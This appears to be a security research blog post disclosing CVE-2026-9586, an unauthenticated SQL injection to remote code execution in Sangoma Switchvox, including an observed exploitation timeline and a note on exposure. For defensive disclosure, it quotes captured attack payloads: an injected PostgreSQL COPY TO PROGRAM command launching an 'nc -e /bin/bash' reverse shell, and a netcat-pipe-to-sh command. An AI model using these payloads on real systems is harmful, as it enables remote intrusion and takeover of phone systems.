Off the Hook Discovering and Observing Active Exploitation of Sangoma Switchvox CVE-2026-9586

Off the Hook: Discovering and Observing Active Exploitation of Sangoma Switchvox CVE-2026-9586

🚨 Overview
In total, we reported 12 distinct vulnerabilities in the Switchvox product which have now been patched. The most impactful vulnerability is an unauthenticated SQL injection leading to remote code execution, assigned as CVE-2026-9586 and patched in Switchvox 8.4.0.2. This blog will focus solely on CVE-2026-9586, as we have observed valid exploitation attempts in the wild.

Details of CVE-2026-9586

CVE-2026-9586 is an Unauthenticated SQL Injection to Remote Code Execution. The Switchvox application exposes an unauthenticated HTTP endpoint, /pa, handled by the PhoneAppsHandler.pm class. The PhoneIP field, extracted directly from an XML message in requests to notify another phone system, is concatenated into an unparameterized SQL query.

The full data flow in PhoneAppsHandler.pm reveals that the POST body is read from the POSTDATA CGI parameter, validated only to ensure it starts with < PolycomIPPhone> without any content sanitization, and stored as notification_xml. Subsequently, PhoneIP is extracted from the parsed XML with no validation, then concatenated directly into a SQL string, leading to $db->query() executing the injected payload as a PostgreSQL superuser.

Exploitation Evidence

If SSH access is possible for the device, evidence of the SQL injection payload can be found in /var/log/switchvox/db-quirks.log. An example excerpt from an exploitation attempt shows:

SELECT proposed_extension FROM auto_phone_config WHERE ip_address = '10.0.0.1';
COPY (SELECT ") TO PROGRAM 'nc 10.0.18.42 4444 -e /bin/bash > /tmp/0d012120ab00297d.txt 2>&1; chmod 644 /tmp/0d012120ab00297d.txt'-' AND config_state = 'configured'.

In the Defused Cyber honeypot, the attacker used an initial payload of: nc 176.65.[REDACTED]39323 | sh. Organizations should investigate if the attacker IP of 176.65.[REDACTED] has been observed in any network requests related to the Switchvox device.

Timeline of Vulnerability

Given the quick succession of exploit attempts across multiple honeypots from the same source IP, it is likely that most internet-exposed Switchvox instances will be or have already been targeted. Currently, Shodan shows approximately 4,000 devices on the internet, primarily located in the United States. The timeline for this vulnerability includes:

• 10 April 2026: Horizon3 reports issues to Sangoma.
• 14 July 2026: Sangoma releases Switchvox 8.4.0.2 to patch vulnerabilities.
• 30 August 2026: Valid exploitation attempts are detected in Defused Cyber honeypots.

For more details, check out the full article here: Read full article